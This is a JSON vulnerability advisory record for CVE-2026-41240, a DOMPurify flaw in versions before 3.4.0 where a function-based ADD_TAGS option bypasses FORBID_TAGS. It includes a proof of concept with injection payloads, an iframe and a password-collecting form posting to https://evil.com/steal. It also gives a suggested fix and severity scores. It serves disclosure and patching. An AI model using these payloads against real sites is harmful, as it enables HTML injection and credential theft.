{"id":"CVE-2026-41240","aliases":["CVE-2026-41240","GHSA-h7mw-gpvr-xq4m"],"related":[],"kind":"vulnerability","state":"published","title":"DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)","summary":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.","source":"cvelist"},{"lang":"en","text":"There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits\n      ) &&\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      '<iframe src=\"https://evil.com\"></iframe>',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['iframe']\n      }\n    );\n    // Returns: '<iframe src=\"https://evil.com\"></iframe>'\n    // Expected: '' (iframe forbidden)\n\n    DOMPurify.sanitize(\n      '<form action=\"https://evil.com/steal\"><input name=password></form>',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['form']\n      }\n    );\n    // Returns: '<form action=\"https://evil.com/steal\"><input name=\"password\"></form>'\n    // Expected: '<input name=\"password\">' (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      '<p onclick=\"alert(1)\">hello</p>',\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: ['onclick']\n      }\n    );\n    // Returns: '<p>hello</p>' (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef","format":"markdown","source":"ghsa"},{"lang":"es","text":"DOMPurify es un saneador de cross-site scripting solo para DOM para HTML, MathML y SVG. Las versiones anteriores a la 3.4.0 tienen una inconsistencia entre el manejo de FORBID_TAGS y FORBID_ATTR cuando se utiliza ADD_TAGS basado en funciones. El commit c361baa añadió una salida temprana para FORBID_ATTR en la línea 1214. La misma corrección no se aplicó a FORBID_TAGS. En las líneas 1118-1123, cuando EXTRA_ELEMENT_HANDLING.tagCheck devuelve true, la evaluación de cortocircuito omite completamente la verificación de FORBID_TAGS. Esto permite que los elementos prohibidos sobrevivan a la sanitización con sus atributos intactos. La versión 3.4.0 corrige el problema.","source":"nvd"}],"published":"2026-04-22T17:34:17.000Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":6,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":6,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79","CWE-183"],"affected":[{"ranges":[{"version":"< 3.4.0","status":"affected"}],"vendor":"cure53","product":"DOMPurify","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.4.0"}],"ecosystem":"npm","package":"dompurify","purl":"pkg:npm/dompurify","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.4.0"}],"vendor":"cure53","product":"dompurify","cpe":"cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m","tags":["exploit","mitigation","patch","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.0","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41240","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/cure53/DOMPurify","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-23T17:21:26.630Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41240","url":"https://www.cve.org/CVERecord?id=CVE-2026-41240","licence":"CVE Terms of Use","modified":"2026-04-23T17:21:30.547Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h7mw-gpvr-xq4m","url":"https://github.com/advisories/GHSA-h7mw-gpvr-xq4m","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:44.461Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41240","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41240","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:19.393Z","epss":{"score":0.00325,"percentile":0.27552,"date":"2026-12-02T12:00:21.000Z"}}